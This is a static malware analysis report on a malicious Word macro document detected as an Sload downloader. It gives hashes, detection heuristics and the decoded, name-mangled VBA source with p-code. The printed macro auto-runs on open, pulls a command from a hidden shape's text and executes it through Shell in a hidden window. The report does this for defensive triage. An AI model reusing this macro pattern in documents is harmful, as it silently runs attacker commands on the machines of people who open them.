Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 a2f7b826f72bb7ea…

MALICIOUS

Office (OLE)

136.1 KB Created: 2018-12-03 16:05:00 Authoring application: Microsoft Office Word First seen: 2019-05-16
MD5: 3657c25659cda88ffbdf16d7254fdd29 SHA-1: 5bb1c4a39eb2a6d72642ab423dde66830dc99b39 SHA-256: a2f7b826f72bb7ea1eecd9d5cfa9611924034deee1c1f783f026ed8e4a1f3d9c
232 Risk Score

Heuristics 8

  • ClamAV: Doc.Downloader.Sload-6772855-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Sload-6772855-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
          End Select
ajDLFtoc = Array(EfYHN, mHcdAko, XKfoPiA, Interaction!.Shell(HzRRifccFqd, VWJOALa), UmnqlbIKl)
   On Error Resume Next
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Attribute VB_Customizable = True
Private Sub Document_open()
   On Error Resume Next
  • Suspicious cmd.exe invocation with execution flag high SC_STR_CMD
    Suspicious cmd.exe invocation with execution flag
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 21346 bytes
SHA-256: d2fb54432eff2e1ed4dc56a7467864f838985e590a62272021a02dd403bf0793
Detection
ClamAV: No threats found
Obfuscation or payload: likely
131 of 212 identifiers look randomly generated (e.g. 'qstore_mw75jvjv') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "JSOwFlHrpjmECL"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_open()
   On Error Resume Next
      Select Case cQUWf
         Case 59962485
              pULiIadGd = Log(LHqXhkZv)
         Case 20222685
            QiVwOqXGD = Log(316828511)
 MsSLEt = Fix(117281175 * Fix(186862491) + jsVEvo + Tan(jujvac))
fGwMPR = Round(XChSw)
         Case 100284920
 LdqHTrO = Fix(160308662 * Fix(83619717) + CafnLX + Tan(rjjmE))
            jCKJM = 275623707
            mwYlYRqn = CDate(43809247)
      End Select
   On Error Resume Next
      Select Case KWuDL
         Case 56171792
              UiwXQ = Log(SSfaj)
         Case 156584742
            zKRwfipn = Log(112278730)
 jZLsEXqV = Fix(8464350 * Fix(106190415) + PUViWNZAO + Tan(zUIHAFwXc))
NDzPwE = Round(OuoEi)
         Case 50394328
 hpwOJUQnC = Fix(263305098 * Fix(246996244) + DkESs + Tan(YzdMXFkRF))
            FZsONL = 170463365
            JjNICa = CDate(7233668)
      End Select
   On Error Resume Next
      Select Case qAQtjjzD
         Case 310198185
              VDEmrzQ = Log(TqRwFwAmq)
         Case 233931251
            AXQSYLtw = Log(6298698)
 dmuoH = Fix(266771742 * Fix(130790491) + chukMn + Tan(QsuUst))
OPuAEkfaz = Round(QzqEW)
         Case 62547863
 IjUOBtQLd = Fix(330263224 * Fix(50818464) + ziIHkY + Tan(uHjjmBk))
            UOzQuiwLL = 166758739
            MWdobmY = CDate(47686163)
      End Select
   On Error Resume Next
      Select Case EcMXEz
         Case 265324374
              wVFMkopK = Log(uVApJNJY)
         Case 333924275
            iHSOZ = Log(319315470)
 LqjmpAlw = Fix(54644978 * Fix(236356486) + DpWrFiz + Tan(iXuPCzF))
GijGfPBcz = Round(CEVPtBd)
         Case 208863161
 JdrBkPw = Fix(115922797 * Fix(78516756) + adnkBf + Tan(ccznnu))
            bfuHPdtmW = 197001562
            VPdwrjwpL = CDate(163490966)
      End Select
   On Error Resume Next
      Select Case vHmlsGjnU
         Case 257649977
              OSsXzjzov = Log(XfEBR)
         Case 87356553
            sAloPU = Log(297765824)
 whjKtAKOa = Fix(157528186 * Fix(146062345) + CnjFD + Tan(tYbijas))
uTBEzw = Round(jCwOdBANQ)
         Case 198224870
 vKLFRjk = Fix(265247165 * Fix(179056980) + POwJRbF + Tan(NVYXDWkkr))
            ZtLKEGi = 228427505
            pCVUK = CDate(152079872)
      End Select
Set sBXKcvG = Shapes("JvvfJoFI").TextFrame
   On Error Resume Next
      Select Case DJPBaXB
         Case 30186655
              EsGkTES = Log(MQHHLI)
         Case 73648464
            cSonDcY = Log(303458046)
 BLlOmQr = Fix(257504929 * Fix(289866277) + llmFATj + Tan(jJVrAE))
wFMQRbU = Round(NRsjCZ)
         Case 341717299
 UTmZnp = Fix(82355004 * Fix(265613883) + WHokCK + Tan(hmoKiW))
            uRZZoHn = 195705482
            jtAXNfoJt = CDate(159353148)
      End Select
   On Error Resume Next
      Select Case atUrQBH
         Case 175762749
              IUkwSGXi = Log(OSWQzrG)
         Case 287686370
            DKjzIbiX = Log(242436182)
 OJdSKNGMq = Fix(287766842 * Fix(309468077) + XddQD + Tan(JudlY))
EQAIMIS = Round(VaPPkzLCt)
         Case 203792399
 zkAnGW = Fix(290404593 * Fix(156306087) + OqTdkHO + Tan(NwzhZAjzN))
            fEpGAw = 135594810
            lDcumUk = CDate(272296822)
      End Select
   On Error Resume Next
      Select Case WtPQJDPn
         Case 183314848
              DEwKSpAG = Log(qEOXz)
         Case 68850082
            BUqHWkKr = Log(98109146)
 nbupDR = Fix(301539813 * Fix(79877494) + oZDpLHFQb + Tan(HWSFXBvw))
KTtHvH = Round(ZLKnn)
         Case 137794001
 DVMwif = Fix(724572 * Fix(106221700) + iKHoVW + Tan(nIUZBau))
            HhJiuF = 264340365
            mLOjKDQRT = CDate(307342089)
      End Select
   On Error Resume Next
      Select Case BmIPMTwCZ
         Case 244206556
              hTqZQZ = Log(nPpDArZX)
         Case 225807352
            lOflocbTi = Log(329584808)
 ZHDhqTo = Fix(337583995 * Fix(161326708) + PhwVM + Tan(wmQqp))
DQLGisrO = Round(mbPOH)
         Case 251250560
 JYlYJoW = Fix(213184050 * Fix(228628963) + cadhNH + Tan(oDmWkovI))
            zdGjH = 28371316
            ccsFRa = CDate(99788091)
      End Select
HzRRifccFqd = sBXKcvG.TextRange.Text + lidlQ + fiakUqsH + nIpUJL + SSLiw + BqbjBS + GTlzBj + iHRCX + cTHawWj + qPSARYL
   On Error Resume Next
      Select Case wSHRJ
         Case 256180914
              MiYGiKtha = Log(PtRGStL)
         Case 42861538
            IoUpszTJp = Log(114138206)
 iGBisCjwE = Fix(269671093 * Fix(165849345) + cCrPBAd + Tan(wKRiIst))
JOADPbvI = Round(iNQNMBDjQ)
         Case 289311847
 AhSJLsCU = Fix(272496297 * Fix(149407521) + AIAppoV + Tan(BHjXS))
            NMjJOvsA = 48568902
            bwqsXYbS = CDate(140336642)
      End Select
   On Error Resume Next
      Select Case rGQruZNFr
         Case 61930522
              RkWOzA = Log(ozrjG)
         Case 90170818
            twqZGzw = Log(199178953)
 tVOYIlLA = Fix(53594902 * Fix(18049421) + izNvcNJ + Tan(UCKAD))
BbXjkM = Round(nBcslcz)
         Case 20783724
 qYDjtvku = Fix(322005161 * Fix(295342297) + oKjjVLIG + Tan(nTXqI))
            wlDqlJEjL = 249883266
            UXFrcjrYh = CDate(190823115)
      End Select
   On Error Resume Next
      Select Case vzijrapnV
         Case 308619486
              jWHLppMYw = Log(MpzMtaZG)
         Case 309088850
            dTcvihi = Log(170953695)
 qBPouskk = Fix(169343152 * Fix(267264704) + hZASjHlWz + Tan(PjaXVNuLc))
GmmIf = Round(BDUJpARzp)
         Case 27999281
 JMbwLc = Fix(246570915 * Fix(177682301) + pRYipZ + Tan(hpvmsnmGh))
            nKPPb = 218341972
            ukwAKu = CDate(66155502)
      End Select
Const VWJOALa = 0
   On Error Resume Next
      Select Case mzUOYf
         Case 311924618
              VaVFtzWF = Log(oGNPJf)
         Case 98776549
            wwLvVjzaz = Log(327274395)
 PqCQb = Fix(58306615 * Fix(106313332) + qWkWjH + Tan(FGRBd))
FVcjjq = Round(tVfwBOqZl)
         Case 273929873
 GtUYWLcf = Fix(261288943 * Fix(115034478) + tIvUoJV + Tan(ksSQSUr))
            URRiTQfu = 237958707
            jwQEDCiRc = CDate(148624517)
      End Select
ajDLFtoc = Array(EfYHN, mHcdAko, XKfoPiA, Interaction!.Shell(HzRRifccFqd, VWJOALa), UmnqlbIKl)
   On Error Resume Next
      Select Case kfiNw
         Case 93622785
              GdSvk = Log(hBGUvB)
         Case 185275708
            sHoHLVjA = Log(194015701)
 CRshML = Fix(101478037 * Fix(304762657) + zLEfoCfJ + Tan(iVIhSXs))
uFlsYFA = Round(sSRAo)
         Case 312465474
 BNfYn = Fix(186244076 * Fix(1815653) + fMIWH + Tan(VzVoo))
            JIvYFE = 206167773
            jNImjQHTn = CDate(337032469)
      End Select
End Sub


' Processing file: /tmp/qstore_mw75jvjv
' ===============================================================================
' Module streams:
' Macros/VBA/JSOwFlHrpjmECL - 10978 bytes
' Line #0:
' 	FuncDefn (Private Sub Document_open())
' Line #1:
' 	OnError (Resume Next) 
' Line #2:
' 	Ld cQUWf 
' 	SelectCase 
' Line #3:
' 	LitDI4 0xF475 0x0392 
' 	Case 
' 	CaseDone 
' Line #4:
' 	Ld LHqXhkZv 
' 	ArgsLd Log 0x0001 
' 	St pULiIadGd 
' Line #5:
' 	LitDI4 0x92DD 0x0134 
' 	Case 
' 	CaseDone 
' Line #6:
' 	LitDI4 0x6B5F 0x12E2 
' 	ArgsLd Log 0x0001 
' 	St QiVwOqXGD 
' Line #7:
' 	LitDI4 0x9197 0x06FD 
' 	LitDI4 0x4B9B 0x0B23 
' 	FnFix 
' 	Mul 
' 	Ld jsVEvo 
' 	Add 
' 	Ld jujvac 
' 	ArgsLd Tan 0x0001 
' 	Add 
' 	FnFix 
' 	St MsSLEt 
' Line #8:
' 	Ld XChSw 
' 	ArgsLd Round 0x0001 
' 	St fGwMPR 
' Line #9:
' 	LitDI4 0x39F8 0x05FA 
' 	Case 
' 	CaseDone 
' Line #10:
' 	LitDI4 0x1DB6 0x098E 
' 	LitDI4 0xEF85 0x04FB 
' 	FnFix 
' 	Mul 
' 	Ld CafnLX 
' 	Add 
' 	Ld rjjmE 
' 	ArgsLd Tan 0x0001 
' 	Add 
' 	FnFix 
' 	St LdqHTrO 
' Line #11:
' 	LitDI4 0xAF1B 0x106D 
' 	St jCKJM 
' Line #12:
' 	LitDI4 0x79DF 0x029C 
' 	Coerce (Date) 
' 	St mwYlYRqn 
' Line #13:
' 	EndSelect 
' Line #14:
' 	OnError (Resume Next) 
' Line #15:
' 	Ld KWuDL 
' 	SelectCase 
' Line #16:
' 	LitDI4 0x1D10 0x0359 
' 	Case 
' 	CaseDone 
' Line #17:
' 	Ld SSfaj 
' 	ArgsLd Log 0x0001 
' 	St UiwXQ 
' Line #18:
' 	LitDI4 0x4B26 0x0955 
' 	Case 
' 	CaseDone 
' Line #19:
' 	LitDI4 0x3CCA 0x06B1 
' 	ArgsLd Log 0x0001 
' 	St zKRwfipn 
' Line #20:
' 	LitDI4 0x27DE 0x0081 
' 	LitDI4 0x564F 0x0654 
' 	FnFix 
' 	Mul 
' 	Ld PUViWNZAO 
' 	Add 
' 	Ld zUIHAFwXc 
' 	ArgsLd Tan 0x0001 
' 	Add 
' 	FnFix 
' 	St jZLsEXqV 
' Line #21:
' 	Ld OuoEi 
' 	ArgsLd Round 0x0001 
' 	St NDzPwE 
' Line #22:
' 	LitDI4 0xF4D8 0x0300 
' 	Case 
' 	CaseDone 
' Line #23:
' 	LitDI4 0xB78A 0x0FB1 
' 	LitDI4 0xDD14 0x0EB8 
' 	FnFix 
' 	Mul 
' 	Ld DkESs 
' 	Add 
' 	Ld YzdMXFkRF 
' 	ArgsLd Tan 0x0001 
' 	Add 
' 	FnFix 
' 	St hpwOJUQnC 
' Line #24:
' 	LitDI4 0x1085 0x0A29 
' 	St FZsONL 
' Line #25:
' 	LitDI4 0x6084 0x006E 
' 	Coerce (Date) 
' 	St JjNICa 
' Line #26:
' 	EndSelect 
' Line #27:
' 	OnError (Resume Next) 
' Line #28:
' 	Ld qAQtjjzD 
' 	SelectCase 
' Line #29:
' 	LitDI4 0x3FA9 0x127D 
' 	Case 
' 	CaseDone 
' Line #30:
' 	Ld TqRwFwAmq 
' 	ArgsLd Log 0x0001 
' 	St VDEmrzQ 
' Line #31:
' 	LitDI4 0x81F3 0x0DF1 
' 	Case 
' 	CaseDone 
' Line #32:
' 	LitDI4 0x1C4A 0x0060 
' 	ArgsLd Log 0x0001 
' 	St AXQSYLtw 
' Line #33:
' 	LitDI4 0x9D1E 0x0FE6 
' 	LitDI4 0xB45B 0x07CB 
' 	FnFix 
' 	Mul 
' 	Ld chukMn 
' 	Add 
' 	Ld QsuUst 
' 	ArgsLd Tan 0x0001 
' 	Add 
' 	FnFix 
' 	St dmuoH 
' Line #34:
' 	Ld QzqEW 
' 	ArgsLd Round 0x0001 
' 	St OPuAEkfaz 
' Line #35:
' 	LitDI4 0x6797 0x03BA 
' 	Case 
' 	CaseDone 
' Line #36:
' 	LitDI4 0x6AB8 0x13AF 
' 	LitDI4 0x6DA0 0x0307 
' 	FnFix 
' 	Mul 
' 	Ld ziIHkY 
' 	Add 
' 	Ld uHjjmBk 
' 	ArgsLd Tan 0x0001 
' 	Add 
' 	FnFix 
' 	St IjUOBtQLd 
' Line #37:
' 	LitDI4 0x8953 0x09F0 
' 	St UOzQuiwLL 
' Line #38:
' 	LitDI4 0xA213 0x02D7 
' 	Coerce (Date) 
' 	St MWdobmY 
' Line #39:
' 	EndSelect 
' Line #40:
' 	OnError (Resume Next) 
' Line #41:
' 	Ld EcMXEz 
' 	SelectCase 
' Line #42:
' 	LitDI4 0x8756 0x0FD0 
' 	Case 
' 	CaseDone 
' Line #43:
' 	Ld uVApJNJY 
' 	ArgsLd Log 0x0001 
' 	St wVFMkopK 
' Line #44:
' 	LitDI4 0x47B3 0x13E7 
' 	Case 
' 	CaseDone 
' Line #45:
' 	LitDI4 0x5E0E 0x1308 
' 	ArgsLd Log 0x0001 
' 	St iHSOZ 
' Line #46:
' 	LitDI4 0xD0F2 0x0341 
' 	LitDI4 0x8386 0x0E16 
' 	FnFix 
' 	Mul 
' 	Ld DpWrFiz 
' 	Add 
' 	Ld iXuPCzF 
' 	ArgsLd Tan 0x0001 
' 	Add 
' 	FnFix 
' 	St LqjmpAlw 
' Line #47:
' 	Ld CEVPtBd 
' 	ArgsLd Round 0x0001 
' 	St GijGfPBcz 
' Line #48:
' 	LitDI4 0xFFB9 0x0C72 
' 	Case 
' 	CaseDone 
' Line #49:
' 	LitDI4 0xD76D 0x06E8 
' 	LitDI4 0x1214 0x04AE 
' 	FnFix 
' 	Mul 
' 	Ld adnkBf 
' 	Add 
' 	Ld ccznnu 
' 	ArgsLd Tan 0x0001 
' 	Add 
' 	FnFix 
' 	St JdrBkPw 
' Line #50:
' 	LitDI4 0x015A 0x0BBE 
' 	St bfuHPdtmW 
' Line #51:
' 	LitDI4 0xAC96 0x09BE 
' 	Coerce (Date) 
' 	St VPdwrjwpL 
' Line #52:
' 	EndSelect 
' Line #53:
' 	OnError (Resume Next) 
' Line #54:
' 	Ld vHmlsGjnU 
' 	SelectCase 
' Line #55:
' 	LitDI4 0x6D39 0x0F5B 
' 	Case 
' 	CaseDone 
' Line #56:
' 	Ld XfEBR 
' 	ArgsLd Log 0x0001 
' 	St OSsXzjzov 
' Line #57:
' 	LitDI4 0xF489 0x0534 
' 	Case 
' 	CaseDone 
' Line #58:
' 	LitDI4 0x8BC0 0x11BF 
' 	ArgsLd Log 0x0001 
' 	St sAloPU 
' Line #59:
' 	LitDI4 0xB07A 0x0963 
' 	LitDI4 0xBC09 0x08B4 
' 	FnFix 
' 	Mul 
' 	Ld CnjFD 
' 	Add 
' 	Ld tYbijas 
' 	ArgsLd Tan 0x0001 
' 	Add 
' 	FnFix 
' 	St whjKtAKOa 
' Line #60:
' 	Ld jCwOdBANQ 
' 	ArgsLd Round 0x0001 
' 	St uTBEzw 
' Line #61:
' 	LitDI4 0xABE6 0x0BD0 
' 	Case 
' 	CaseDone 
' Line #62:
' 	LitDI4 0x59BD 0x0FCF 
' 	LitDI4 0x3154 0x0AAC 
' 	FnFix 
' 	Mul 
' 	Ld POwJRbF 
' 	Add 
' 	Ld NVYXDWkkr 
' 	ArgsLd Tan 0x0001 
' 	Add 
' 	FnFix 
' 	St vKLFRjk 
' Line #63:
' 	LitDI4 0x86F1 0x0D9D 
' 	St ZtLKEGi 
' Line #64:
' 	LitDI4 0x8E00 0x0910 
' 	Coerce (Date) 
' 	St pCVUK 
' Line #65:
' 	EndSelect 
' Line #66:
' 	SetStmt 
' 	LitStr 0x0008 "JvvfJoFI"
' 	ArgsLd Shapes 0x0001 
' 	MemLd TextFrame 
' 	Set sBXKcvG 
' Line #67:
' 	OnError (Resume Next) 
' Line #68:
' 	Ld DJPBaXB 
' 	SelectCase 
' Line #69:
' 	LitDI4 0x9C9F 0x01CC 
' 	Case 
' 	CaseDone 
' Line #70:
' 	Ld MQHHLI 
' 	ArgsLd Log 0x0001 
' 	St EsGkTES 
' Line #71:
' 	LitDI4 0xC950 0x0463 
' 	Case 
' 	CaseDone 
' Line #72:
' 	LitDI4 0x66FE 0x1216 
' 	ArgsLd Log 0x0001 
' 	St cSonDcY 
' Line #73:
' 	LitDI4 0x36A1 0x0F59 
' 	LitDI4 0x0225 0x1147 
' 	FnFix 
' 	Mul 
' 	Ld llmFATj 
' 	Add 
' 	Ld jJVrAE 
' 	ArgsLd Tan 0x0001 
' 	Add 
' 	FnFix 
' 	St BLlOmQr 
' Line #74:
' 	Ld NRsjCZ 
' 	ArgsLd Round 0x0001 
' 	St wFMQRbU 
' Line #75:
' 	LitDI4 0x3133 0x145E 
' 	Case 
' 	CaseDone 
' Line #76:
' 	LitDI4 0xA33C 0x04E8 
' 	LitDI4 0xF23B 0x0FD4 
' 	FnFix 
' 	Mul 
' 	Ld WHokCK 
' 	Add 
' 	Ld hmoKiW 
' 	ArgsLd Tan 0x0001 
' 	Add 
' 	FnFix 
' 	St UTmZnp 
' Line #77:
' 	LitDI4 0x3A8A 0x0BAA 
' 	St uRZZoHn 
' Line #78:
' 	LitDI4 0x893C 0x097F 
' 	Coerce (Date) 
' 	St jtAXNfoJt 
' Line #79:
' 	EndSelect 
' Line #80:
' 	OnError (Resume Next) 
' Line #81:
' 	Ld atUrQBH 
' 	SelectCase 
' Line #82:
' 	LitDI4 0xED3D 0x0A79 
' 	Case 
' 	CaseDone 
' Line #83:
' 	Ld OSWQzrG 
' 	ArgsLd Log 0x0001 
' 	St IUkwSGXi 
' Line #84:
' 	LitDI4 0xBEE2 0x1125 
' 	Case 
' 	CaseDone 
' Line #85:
' 	LitDI4 0x4856 0x0E73 
' 	ArgsLd Log 0x0001 
' 	St DKjzIbiX 
' Line #86:
' 	LitDI4 0xF93A 0x1126 
' 	LitDI4 0x1BAD 0x1272 
' 	FnFix 
' 	Mul 
' 	Ld XddQD 
' 	Add 
' 	Ld JudlY 
' 	ArgsLd Tan 0x0001 
' 	Add 
' 	FnFix 
' 	St OJdSKNGMq 
' Line #87:
' 	Ld VaPPkzLCt 
' 	ArgsLd Round 0x0001 
' 	St EQAIMIS 
' Line #88:
' 	LitDI4 0xA00F 0x0C25 
' 	Case 
' 	CaseDone 
' Line #89:
' 	LitDI4 0x38F1 0x114F 
' 	LitDI4 0x0AA7 0x0951 
' 	FnFix 
' 	Mul 
' 	Ld OqTdkHO 
' 	Add 
' 	Ld NwzhZAjzN 
' 	ArgsLd Tan 0x0001 
' 	Add 
' 	FnFix 
' 	St zkAnGW 
' Line #90:
' 	LitDI4 0x033A 0x0815 
' 	St fEpGAw 
' Line #91:
' 	LitDI4 0xEB76 0x103A 
' 	Coerce (Date) 
' 	St lDcumUk 
' Line #92:
' 	EndSelect 
' Line #93:
' 	OnError (Resume Next) 
' Line #94:
' 	Ld WtPQJDPn 
' 	SelectCase 
' Line #95:
' 	LitDI4 0x29A0 0x0AED 
' 	Case 
' 	CaseDone 
' Line #96:
' 	Ld qEOXz 
' 	ArgsLd Log 0x0001 
' 	St DEwKSpAG 
' Line #97:
' 	LitDI4 0x91A2 0x041A 
' 	Case 
' 	CaseDone 
' Line #98:
' 	LitDI4 0x06DA 0x05D9 
' 	ArgsLd Log 0x0001 
' 	St BUqHWkKr 
' Line #99:
' 	LitDI4 0x21E5 0x11F9 
' 	LitDI4 0xD576 0x04C2 
' 	FnFix 
' 	Mul 
' 	Ld oZDpLHFQb 
' 	Add 
' 	Ld HWSFXBvw 
' 	ArgsLd Tan 0x0001 
' 	Add 
' 	FnFix 
' 	St nbupDR 
' Line #100:
' 	Ld ZLKnn 
' 	ArgsLd Round 0x0001 
' 	St KTtHvH 
' Line #101:
' 	LitDI4 0x91D1 0x0836 
' 	Case 
' 	CaseDone 
' Line #102:
' 	LitDI4 0x0E5C 0x000B 
' 	LitDI4 0xD084 0x0654 
' 	FnFix 
' 	Mul 
' 	Ld iKHoVW 
' 	Add 
' 	Ld nIUZBau 
' 	ArgsLd Tan 0x0001 
' 	Add 
' 	FnFix 
' 	St DVMwif 
' Line #103:
' 	LitDI4 0x838D 0x0FC1 
' 	St HhJiuF 
' Line #104:
' 	LitDI4 0xAB09 0x1251 
' 	Coerce (Date) 
' 	St mLOjKDQRT 
' Line #105:
' 	EndSelect 
' Line #106:
' 	OnError (Resume Next) 
' Line #107:
' 	Ld BmIPMTwCZ 
' 	SelectCase 
' Line #108:
' 	LitDI4 0x4BDC 0x0E8E 
' 	Case 
' 	CaseDone 
' Line #109:
' 	Ld nPpDArZX 
' 	ArgsLd Log 0x0001 
' 	St hTqZQZ 
' Line #110:
' 	LitDI4 0x8BF8 0x0D75 
' 	Case 
' 	CaseDone 
' Line #111:
' 	LitDI4 0x10A8 0x13A5 
' 	ArgsLd Log 0x0001 
' 	St lOflocbTi 
' Line #112:
' 	LitDI4 0x1F7B 0x141F 
' 	LitDI4 0xA674 0x099D 
' 	FnFix 
' 	Mul 
' 	Ld PhwVM 
' 	Add 
' 	Ld wmQqp 
' 	ArgsLd Tan 0x0001 
' 	Add 
' 	FnFix 
' 	St ZHDhqTo 
' Line #113:
' 	Ld mbPOH 
' 	ArgsLd Round 0x0001 
' 	St DQLGisrO 
' Line #114:
' 	LitDI4 0xC780 0x0EF9 
' 	Case 
' 	CaseDone 
' Line #115:
' 	LitDI4 0xEE32 0x0CB4 
' 	LitDI4 0x99E3 0x0DA0 
' 	FnFix 
' 	Mul 
' 	Ld cadhNH 
' 	Add 
' 	Ld oDmWkovI 
' 	ArgsLd Tan 0x0001 
' 	Add 
' 	FnFix 
' 	St JYlYJoW 
' Line #116:
' 	LitDI4 0xE974 0x01B0 
' 	St zdGjH 
' Line #117:
' 	LitDI4 0xA53B 0x05F2 
' 	Coerce (Date) 
' 	St ccsFRa 
' Line #118:
' 	EndSelect 
' Line #119:
' 	Ld sBXKcvG 
' 	MemLd TextRange 
' 	MemLd Text 
' 	Ld lidlQ 
' 	Add 
' 	Ld fiakUqsH 
' 	Add 
' 	Ld nIpUJL 
' 	Add 
' 	Ld SSLiw 
' 	Add 
' 	Ld BqbjBS 
' 	Add 
' 	Ld GTlzBj 
' 	Add 
' 	Ld iHRCX 
' 	Add 
' 	Ld cTHawWj 
' 	Add 
' 	Ld qPSARYL 
' 	Add 
' 	St HzRRifccFqd 
' Line #120:
' 	OnError (Resume Next) 
' Line #121:
' 	Ld wSHRJ 
' 	SelectCase 
' Line #122:
' 	LitDI4 0x02B2 0x0F45 
' 	Case 
' 	CaseDone 
' Line #123:
' 	Ld PtRGStL 
' 	ArgsLd Log 0x0001 
' 	St MiYGiKtha 
' Line #124:
' 	LitDI4 0x03E2 0x028E 
' 	Case 
' 	CaseDone 
' Line #125:
' 	LitDI4 0x9C5E 0x06CD 
' 	ArgsLd Log 0x0001 
' 	St IoUpszTJp 
' Line #126:
' 	LitDI4 0xDAB5 0x1012 
' 	LitDI4 0xA901 0x09E2 
' 	FnFix 
' 	Mul 
' 	Ld cCrPBAd 
' 	Add 
' 	Ld wKRiIst 
' 	ArgsLd Tan 0x0001 
' 	Add 
' 	FnFix 
' 	St iGBisCjwE 
' Line #127:
' 	Ld iNQNMBDjQ 
' 	ArgsLd Round 0x0001 
' 	St JOADPbvI 
' Line #128:
' 	LitDI4 0x8C67 0x113E 
' 	Case 
' 	CaseDone 
' Line #129:
' 	LitDI4 0xF6A9 0x103D 
' 	LitDI4 0xC721 0x08E7 
' 	FnFix 
' 	Mul 
' 	Ld AIAppoV 
' 	Add 
' 	Ld BHjXS 
' 	ArgsLd Tan 0x0001 
' 	Add 
' 	FnFix 
' 	St AhSJLsCU 
' Line #130:
' 	LitDI4 0x1A46 0x02E5 
' 	St NMjJOvsA 
' Line #131:
' 	LitDI4 0x5E02 0x085D 
' 	Coerce (Date) 
' 	St bwqsXYbS 
' Line #132:
' 	EndSelect 
' Line #133:
' 	OnError (Resume Next) 
' Line #134:
' 	Ld rGQruZNFr 
' 	SelectCase 
' Line #135:
' 	LitDI4 0xFC1A 0x03B0 
' 	Case 
' 	CaseDone 
' Line #136:
' 	Ld ozrjG 
' 	ArgsLd Log 0x0001 
' 	St RkWOzA 
' Line #137:
' 	LitDI4 0xE5C2 0x055F 
' 	Case 
' 	CaseDone 
' Line #138:
' 	LitDI4 0x3AC9 0x0BDF 
' 	ArgsLd Log 0x0001 
' 	St twqZGzw 
' Line #139:
' 	LitDI4 0xCB16 0x0331 
' 	LitDI4 0x698D 0x0113 
' 	FnFix 
' 	Mul 
' 	Ld izNvcNJ 
' 	Add 
' 	Ld UCKAD 
' 	ArgsLd Tan 0x0001 
' 	Add 
' 	FnFix 
' 	St tVOYIlLA 
' Line #140:
' 	Ld nBcslcz 
' 	ArgsLd Round 0x0001 
' 	St BbXjkM 
' Line #141:
' 	LitDI4 0x226C 0x013D 
' 	Case 
' 	CaseDone 
' Line #142:
' 	LitDI4 0x68A9 0x1331 
' 	LitDI4 0x90D9 0x119A 
' 	FnFix 
' 	Mul 
' 	Ld oKjjVLIG 
' 	Add 
' 	Ld nTXqI 
' 	ArgsLd Tan 0x0001 
' 	Add 
' 	FnFix 
' 	St qYDjtvku 
' Line #143:
' 	LitDI4 0xEA82 0x0EE4 
' 	St wlDqlJEjL 
' Line #144:
' 	LitDI4 0xBACB 0x0B5F 
' 	Coerce (Date) 
' 	St UXFrcjrYh 
' Line #145:
' 	EndSelect 
' Line #146:
' 	OnError (Resume Next) 
' Line #147:
' 	Ld vzijrapnV 
' 	SelectCase 
' Line #148:
' 	LitDI4 0x28DE 0x1265 
' 	Case 
' 	CaseDone 
' Line #149:
' 	Ld jWHLppMYw 
' 	ArgsLd Log 0x0001 
' 	St jWHLppMYw 
' Line #150:
' 	LitDI4 0x5252 0x126C 
' 	Case 
' 	CaseDone 
' Line #151:
' 	LitDI4 0x8BDF 0x0A30 
' 	ArgsLd Log 0x0001 
' 	St MpzMtaZG 
' Line #152:
' 	LitDI4 0xF8B0 0x0A17 
' 	LitDI4 0x22C0 0x0FEE 
' 	FnFix 
' 	Mul 
' 	Ld qBPouskk 
' 	Add 
' 	Ld hZASjHlWz 
' 	ArgsLd Tan 0x0001 
' 	Add 
' 	FnFix 
' 	St dTcvihi 
' Line #153:
' 	Ld GmmIf 
' 	ArgsLd Round 0x0001 
' 	St PjaXVNuLc 
' Line #154:
' 	LitDI4 0x3C31 0x01AB 
' 	Case 
' 	CaseDone 
' Line #155:
' 	LitDI4 0x5FA3 0x0EB2 
' 	LitDI4 0x377D 0x0A97 
' 	FnFix 
' 	Mul 
' 	Ld JMbwLc 
' 	Add 
' 	Ld pRYipZ 
' 	ArgsLd Tan 0x0001 
' 	Add 
' 	FnFix 
' 	St BDUJpARzp 
' Line #156:
' 	LitDI4 0xA254 0x0D03 
' 	St hpvmsnmGh 
' Line #157:
' 	LitDI4 0x73EE 0x03F1 
' 	Coerce (Date) 
' 	St nKPPb 
' Line #158:
' 	EndSelect 
' Line #159:
' 	Dim (Const) 
' 	LitDI2 0x0000 
' 	VarDefn ukwAKu
' Line #160:
' 	OnError (Resume Next) 
' Line #161:
' 	Ld VWJOALa 
' 	SelectCase 
' Line #162:
' 	LitDI4 0x978A 0x1297 
' 	Case 
' 	CaseDone 
' Line #163:
' 	Ld VaVFtzWF 
' 	ArgsLd Log 0x0001 
' 	St mzUOYf 
' Line #164:
' 	LitDI4 0x35E5 0x05E3 
' 	Case 
' 	CaseDone 
' Line #165:
' 	LitDI4 0xCF9B 0x1381 
…

Open this report in the interactive analyzer, or submit your own file for analysis.